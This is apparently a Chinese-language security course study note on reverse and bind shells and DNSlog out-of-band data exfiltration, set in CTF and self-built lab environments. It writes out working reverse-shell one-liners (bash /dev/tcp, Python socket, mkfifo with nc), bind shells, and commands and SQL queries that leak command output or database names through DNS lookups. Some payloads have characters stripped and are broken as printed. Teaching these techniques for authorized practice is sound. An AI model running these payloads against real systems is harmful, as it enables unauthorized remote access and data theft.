
1. 内容整体设计与思路拆解1.1 为什么你早晚得学会反弹shell我在CTF靶场刷题、做授权测试的时候遇到过不少这样的局面明明拿到了一台主机的命令执行权限弹出来一个webshell正要往下走发现各种难受——上传的菜刀马被杀干净、蚁剑连不上、虚拟终端一执行带外流量命令就断。最典型的一种情况是服务器位于内网或者出网策略极其严格你只能在那台机器上执行命令却没法把流量带出来。这时候你第一个想到的应该是反弹shell。所谓反弹shell就是让目标机器主动向你的VPS或者本机发起一个TCP连接把它的shell通常是bash、cmd或者python交互式shell交到你的手里。这与我们直觉里的“正向连接”刚好相反——正向连接是你连别人反向连接是别人连你。为什么要这么绕一圈原因很简单目标机器一般不具备直接对外开放端口的条件但在绝大多数情况下它作为客户端去访问外网IP的某个端口是被允许的。这个“反向连接”的思路几乎贯穿了从渗透测试到红蓝对抗的每一个阶段也是DNSlog带外查询的基础思路所在——主动让目标服务器向外“发消息”然后我们通过外部服务器接收这条消息。1.2 从学习笔记的角度看Day5的知识定位这份学习笔记放在2023年小迪安全课程的第5天恰好是从“命令执行漏洞利用”迈向“权限获取交互”的关键节点。前几天的内容大概率还在讲Web漏洞的原理和利用方式到了Day5重心开始转向“拿到一次命令执行之后如何把它升级成一个稳定可控的shell”以及“在命令执行结果无法回显的情况下如何利用DNS协议把目标机器的信息悄悄带出来”。这两个知识点其实是相互关联的。反弹shell解决的是“交互”问题让你从一次性的命令执行变成双向的终端对话。而DNSlog带外查询解决的是“无回显”问题当你执行命令但页面上什么都不显示的时候你有一个办法确认命令有没有执行成功、结果是什么。对于新人来说如果只停留在“会用payload”的层面遇到真实环境稍一变种就抓瞎。所以这篇文章我不会只贴命令我会把正反向连接的选择逻辑、反弹shell的构造原理、DNSlog的查询链路拆开揉碎每个环节都补充我踩过的坑和思考过程。2. 核心细节解析与实操要点2.1 正向连接与反向连接该选谁、怎么选先给一个明确的定义对比我用一个表格来说明方便大家之后查阅。连接类型发起方监听方典型场景前提条件正向连接攻击者目标机器目标机器有公网IP、防火墙允许入站攻击者能直接访问目标机器的监听端口反向连接目标机器攻击者目标在内网、NAT后面、防火墙限制入站目标机器能访问攻击者的公网IP和端口你在实验室里也许觉得正向连接更简单攻击机直接nc -lvvp 4444目标机上执行nc -e /bin/sh 攻击机IP 4444连接建立搞定。但一旦面对真实场景情况完全不同。举一个我在内网测试中遇到的例子目标是一台内网Web服务器它只有一个内网IP 172.16.x.x我通过Web漏洞拿到命令执行权限但我的本机压根没法路由到172.16网段。如果我想用正向连接就得在内网那台机器上开一个监听端口然后找到一条通往那个网段的路——这在复杂网络环境下几乎不可行。而反向连接呢目标服务器出网访问我的VPS我的VPS有公网IP端口我自由控制连接自然就建立起来了。还有一个很实际的问题防火墙策略。绝大多数服务器的防火墙默认只放行80、443、53这类常规端口像8080、4444、8888这些高端口出站可能不做严格限制但入站几乎都是Deny。目标机器主动向外连接能最大程度地规避入站过滤的干扰。所以结论其实很直接默认优先反向连接只有当你能直接访问目标网络、且目标入站策略宽松时才考虑正向连接。这个选择逻辑在后面构造payload的时候会反复用到。2.2 反弹shell的底层原理从一道命令吃透它很多教程上来就让你执行bash -i /dev/tcp/192.168.1.100/4444 01但新手往往看不懂这段命令到底在干什么。我先拆解一下这一条命令把它弄明白了后面不管换什么语言、什么工具写反弹shell你都能举一反三。这条命令可以分成三段来看bash -i启动一个交互式的bash。 /dev/tcp/192.168.1.100/4444把标准输出和标准错误都重定向到/dev/tcp/192.168.1.100/4444这个特殊的设备文件。01把标准输入重定向到标准输出。关键在于第二行的/dev/tcp/这个路径。在bash下它并不是一个真正存在于磁盘上的文件而是一个特殊的网络重定向伪设备。当你向/dev/tcp/host/port写入数据时bash会尝试与host:port建立一个TCP连接并将你写入的内容发送到对端从它读取数据时就会接收对端发来的内容。所以整条命令的效果就是本地启动一个交互式bash把这个bash的输入、输出、错误输出全部挂到一个TCP连接上。攻击者在这个连接的另一端就获得了一个实时交互的shell。如果一个payload看不懂不要死记硬背。我强烈建议新手在VPS和自己本机之间做一次完整的连接实验把每条命令拆开看观察标准输入、标准输出、标准错误这三个文件描述符在哪一步被重定向了你才能真正理解为什么这条命令能“反弹”shell。这也是我认为Day5学习中最值得花时间的地方。2.3 DNSlog带外查询解惑为什么用DNS而不是HTTP谈到DNSlog得先解释一个概念带外数据Out-of-Band简称OOB。当目标机器存在命令执行漏洞、但是执行结果无法直接回显在页面上时我们称之为“无回显”或“盲注”场景。你没法直接从响应里看到命令的输出这时候就需要想办法让数据“绕过”Web应用走另一条通道传给外部服务器。常见的带外通道有HTTP、DNS、ICMP、SMTP等但DNSlog是其中最经典、最稳定的一种。因为DNS协议在互联网中几乎不会被完全屏蔽——你总得解析域名吧如果连DNS都不让出去那这台服务器基本无法上网了。DNSlog的具体做法是你在一个DNSLog平台上注册一个子域名比如某个平台分配给你一个类似xxx.dnslog.cn的域名。然后你让目标机器执行whoami.xxx.dnslog.cn这一看就不是合法的完整域名但由于DNS解析是逐级向前的目标机器会向本地DNS服务器发起一个对whoami.xxx.dnslog.cn的查询请求。中间经过各级DNS服务器最终会到达这个DNSLog平台所维护的权威DNS服务器。平台在你访问它的Web面板时将这个查询记录展示给你看。这样一来即使命令执行没有回显你通过看到whoami.xxx.dnslog.cn这条记录就知道whoami命令确实执行了并且可以从一级域名字段中提取出结果。我特别想强调一点用DNS做带外查询本质上利用的是“DNS解析请求日志”这个特性而不是什么高深的技术漏洞。理解了这一点你会发现它的应用远不止命令执行——SQL注入的盲注、XXE外部实体注入、无回显的RCE几乎所有需要“无回显证明”的场景都能套用这个思路。3. 实操过程与核心环节实现3.1 环境准备本地靶场搭建与工具清单在继续之前先说清楚环境。我这里讲的都是CTF靶场和自建实验环境中的操作任何未经授权的真实目标都是绝对不可触碰的。安全测试的基本素养就是合法合规。我搭建这套实验环境花了大概20分钟大家可以照着准备攻击机Kali LinuxIP192.168.1.100上面自带nc、python、bash够用了。目标机Metasploitable 2 虚拟机IP192.168.1.200或者直接开一个Ubuntu容器主要用来模拟被控制的服务器。DNSLog平台网上有很多公开的比如 ceye.io现在已经改了或 dnslog.cn注册一下就能拿到一个专属子域名。有个小建议本地练习的时候最好使用网络模式中的桥接模式或者同一Host-only网络确保两台机器互相能ping通。我最初练习时用的是NAT模式导致攻击机监听端口后目标机怎么也连不上排查了半天才发现是虚拟机网络隔离的问题。3.2 多种反弹Shell构造方式从bash到python3.2.1 基础款Bash反弹攻击机上先监听端口nc -lvvp 4444目标机上执行bash -i /dev/tcp/192.168.1.100/4444 01目标机连接过来的那一刻攻击机终端会显示connect然后你就能执行命令了。这里有一个新手容易踩的坑目标机的/bin/sh可能是dash而不是bash。有些Linux发行版把/bin/sh默认链接到了dashdash并不支持/dev/tcp/这种语法这时你用上面这条命令就会报错。解决方法是明确指定bash比如/bin/bash -i /dev/tcp/192.168.1.100/4444 01或者用下面这条稍微更通用的写法bash -c bash -i /dev/tcp/192.168.1.100/4444 013.2.2 进阶款Python反弹Shell如果目标机器上没有bash只有Python环境这在很多容器环境里很常见可以用Python来反弹。攻击机同样先执行nc -lvvp 4444目标机上执行python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.100,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([/bin/bash,-i])这段代码的核心逻辑是创建一个socket连接然后用dup2把socket文件描述符复制到标准输入、标准输出、标准错误上最后启动一个交互式的bash。这样你在攻击机上往socket里发送的数据就变成了bash的输入bash的输出也通过socket传回给攻击机。3.2.3 当没有nc时的备选NC的替代方案有些精简环境的机器上既没有nc也没有python这时候怎么办如果你用的是常见的Linux发行版大概率会有下面这条rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.1.100 4444 /tmp/f这套方案通过命名管道FIFO来完成数据转发把cat读到的内容交给/bin/sh执行shell的输出经过nc发送到攻击机攻击机发来的数据再写回这个管道。效果和上面一样都是拿到一个交互shell。我以前总觉得网上那些payload合集太长不好记但后来发现与其背几十条payload不如理解一条核心思路只要你能找一个方式把目标机器的输入输出接到TCP连接上反弹shell就成立。语言和工具只是手段。3.3 正反向连接的完整实操从监听、观察到交互我们接着把正向连接也做一遍加深理解。正向连接时是在目标机器上监听端口。在目标机Metasploitable上执行nc -lvvp 5555 -e /bin/bash然后攻击机主动连接nc 192.168.1.200 5555连接建立后攻击机可以直接执行命令。但这里有个问题nc -e参数在OpenBSD版本的netcat中是默认支持的但很多Linux发行版使用的是传统netcat并不支持-e选项。如果你在目标机上执行后报错invalid option -- e那么正确的做法是用前面提到过的mkfifo方案或者改用ncatncat -lvvp 5555 -e /bin/bashKali自带的ncat是支持-e的。我在实际测试中经常遇到的一个小麻烦是在反弹shell里执行su、sudo这类需要TTY交互的命令时会提示no tty present或者干脆乱码、回显不完整。解决办法通常是用Python再升级一下shellpython3 -c import pty;pty.spawn(/bin/bash)对于/dev/tcp这一类的交互连接再配合export TERMxterm设置终端类型CRT或终端软件里的显示就会正常得多。这一条经验是实战中的高频需求建议所有人收藏。3.4 DNSlog带外查询完整实操分步演示接下来是DNSlog的实操。假设我拿到一个存在命令执行漏洞的靶场但命令的执行结果不回显。第一步我去dnslog.cn注册并获取一个专属域名。假设分配给我的是xxxx.dnslog.cn。第二步我在漏洞点执行一个测试查询ping whoami.xxxx.dnslog.cn在Linux的shell里反引号中的whoami会被先执行然后把结果拼接到域名前缀中。如果目标机器上没有ping命令也可以改用curl http://whoami.xxxx.dnslog.cn或者直接用nslookupnslookup whoami.xxxx.dnslog.cn第三步回到dnslog.cn平台点击“刷新记录”。如果平台上出现了一条类似这样格式的记录root.xxxx.dnslog.cn那么恭喜你无回显命令执行被成功转化成了带外可见的数据。需要注意的是这里有个格式问题如果命令输出包含空格或特殊字符比如当前目录路径是/var/www/html那DNS解析可能会因特殊符号而失败。常见的处理办法是用md5sum、base64编码或去掉特殊字符之后再拼接到域名上curl http://$(id | base64 -w0).xxxx.dnslog.cn这样即使输出中有空格base64编码之后也只剩下字母、数字和号整体拼在域名前缀里解析起来更稳妥。号在DNS解析中一般也能被接受但为了保险起见可以考虑去掉等号或做 hex 编码。3.5 DNSLog查询的典型变体SQL注入中的带外利用如果你学过SQL注入盲注肯定困惑过一个个字符ascii(substr(...))猜太慢了动不动就要爆破几百个请求。DNSlog给你提供了一条捷径。在MySQL中可以这样用假设注入点在id参数SELECT LOAD_FILE(CONCAT(\\\\, (SELECT DATABASE()), .xxxx.dnslog.cn\\a));MySQL的LOAD_FILE函数会读取本地文件并且UNC路径\\host\path在Windows系统上会触发一次到指定主机的SMB连接请求。同理构造指向DNSlog平台的UNC路径就能让数据库服务器主动发起一次针对子域名的DNS查询。在SQL Server中EXEC master..xp_dirtree \\abc.xxxx.dnslog.cn\a;在Oracle中也有类似利用UTL_HTTP.REQUEST或DBMS_LDAP等方式做带外请求的。这个实践思路比较重要因为很多新人以为DNSlog只能用于命令执行其实它对SQL注入、XXE、甚至是SSRF都有用武之地。凡是能控制目标服务器“发请求”的地方DNSlog都可能帮你把看不见的结果变成看得见的解析记录。4. 常见问题与排查技巧实录4.1 反弹Shell连接失败先自查这四个环节我见过很多人在练习时卡在“反弹shell怎么都弹不回来”最后发现都是些小问题。我总结了一个自查顺序希望能帮你省去排查时间。排查项检查内容常见坑监听状态攻击机的nc是否真的在监听忘了加-l参数或者端口被占用连通性目标机到攻击机IP的连通性不在同一网段、虚拟机NAT隔离防火墙攻击机是否屏蔽了入站端口VPS安全组策略没放行对应端口Shell兼容目标机的/bin/sh是bash还是dash语法不支持导致命令执行报错关于防火墙这里多说一句。如果你用的是云VPS不是家里电脑那除了VPS本机的iptables之外非常容易忘记的是云厂商的安全组规则——阿里云、腾讯云这类都得在控制台额外放行对应端口。我第一次用VPS试验时本机iptables全开结果连接一直不通最后发现是安全组没放行tcp 4444这个坑极为常见。4.2 DNSLog查询无记录大概率是这些原因DNSlog查不到记录时不要慌按顺序排查。第一目标机器是否真的执行了命令有些命令执行漏洞点了按钮但实际没生效或者被WAF拦截了。此时可以先丢一条sleep之类的命令或者用http请求对比响应时间来判断。第二拼接的域名是否正确如果你把命令输出和基础域名拼接错了比如少了点号整个字符串会被当成一个不存在的顶级域去查询那DNSlog平台就不会收到那条记录。第三目标机器本身是否具备出网DNS能力有些隔离网段会把DNS服务器指向内网自有DNS而内网DNS不一定能向公网递归查询。这种情况比较少见但在企业内网测试时会遇到。第四平台刷新延迟。大部分DNSLog平台是间隔几秒到几十秒刷新记录的执行完命令后稍微等一会儿再刷新页面不要立刻下结论。4.3 TTY交互问题的处理心得使用反弹shell时最让人头疼的往往是交互体验——想用vim看文件结果乱码想用su切换用户直接报错。这些问题的根源在于反弹shell没有分配一个真正的终端设备。我建议在拿到shell后第一步就尝试升级为PTY。Linux下用Python一行实现python3 -c import pty;pty.spawn(/bin/bash)如果目标上连Python都没有试试script命令script /dev/null -qc /bin/bash紧接着用CtrlZ把当前会话挂到后台在攻击机本地执行stty raw -echo fg export TERMxterm这一套组合拳下来VIM、su这类程序基本就能正常工作了。这个方法是我在打靶场的时候跟一个前辈学到的当时觉得像是变魔术后来理解了原理才知道只是TTY和终端信号的细节问题。4.4 带外数据通道被封堵时如何应对讨论到这里要提醒一句如果你的DNSlog平台域名被目标的安全设备识别并拦截了那么所有带外查询都可能失效。这时候有几个备选思路。一是换用自己注册的域名来做DNSLog。自己买一个域名在云解析服务商处配一条A记录指向你的VPS再用tcpdump抓53端口的DNS请求。这种方法不依赖任何第三方平台灵活度高适合长期测试。缺点是配置成本高一点而且需要一台公网可访问的VPS。二是尝试走HTTP通道。方法也不复杂在自己的VPS上开一个Web服务并记录访问日志然后让目标机器执行curl http://你的VPS/whoami看Web访问日志里的路径就能拿到结果。相比DNS协议HTTP在某些环境里出网限制反而更松一些可以两个通道相互补充。三是用ICMP隧道类工具。这类方法在出网策略极其严格的情况下偶尔能奏效但是配置复杂且在大多数现代网络环境下ICMP也经常被限制一般不作为首选方案。我个人的体会是DNSLog平台适合快速验证自己搭HTTP日志服务适合长期稳定使用ICMP隧道属于万不得已的备用手段。5. 这篇笔记之外的延伸思考5.1 把“带外思维”迁移到更多漏洞场景Day5的内容学完之后我有一个很强烈的感受反弹shell和DNSlog带外查询其实是同一种思维的两种表现——当你和目标之间的“直接通道”被堵死时想尽办法让目标主动向你“汇报”。这种带外思维可以迁移到很多漏洞场景中。比如你在测SSRF时可以直接让目标请求一个DNSLog域名验证SSRF是否存在、出网是否可达测XXE时可以通过外部实体引入的方式让目标服务器解析一个带外URL把文件内容拼上去带出来甚至在盲打的RCE场景里你用DNSLog探测目标安装了什么语言环境也远比一遍遍盲拍响应时间更高效。很多年前我在一个CTF比赛里遇到过一道题题目要求利用某个无回显的漏洞读取服务器上的一个flag文件但页面上什么都不返回。当时我还没掌握DNSlog的技巧只能一点点用时间盲注的思路猜效率极低。后来复盘才发现最简单的解法就是用DNSlog把文件内容带出来。Day5学完之后这类题目基本就是送分题了。5.2 对新手学习的建议从一条命令开始练如果你刚开始接触反弹shell不要急着收集一堆五花八门的payload。我建议你按这个顺序来练第一步先在自己本机做一次“自己连自己”的实验。开一个终端监听4444端口另一个终端执行反弹shell命令然后观察两个终端之间是否能互相输入输出。这一步能帮你确定环境没问题、命令没写错。第二步在虚拟机的两台机器之间做一次连接感受真实的网络通信过程。第三步把DNSlog带外查询跑通体会无回显数据是“怎么飞”出去的。第四步再尝试不同系统Windows、Linux、Docker容器下的不同payload构造。这样渐进式地练习比直接背一套命令来得扎实得多。安全测试这门手艺细节决定成败而细节只能从自己动手踩坑中获得。我在实际带新人的时候经常看到一种现象把一堆payload背得滚瓜烂熟但一换环境就抓瞎原因很简单——你不知道每条命令背后的设计意图自然没法应对变化。如果你能把bash -i /dev/tcp/... 01这条命令的每个符号都解释清楚你的Day5学习就算真正达标了。最后说一点实操层面的心里话安全学习最容易陷入的误区是“为了炫技而学”总想去打真实目标来证明自己。真正的高手永远把基本功打磨放在第一位在一个授权的靶场里把一个技术点吃透比在十个真实站点上浅尝辄止有价值得多。希望这篇笔记能帮你把反弹shell、正反向连接和DNSlog带外查询这三个核心点真正串联起来成为后续深入学习的地基。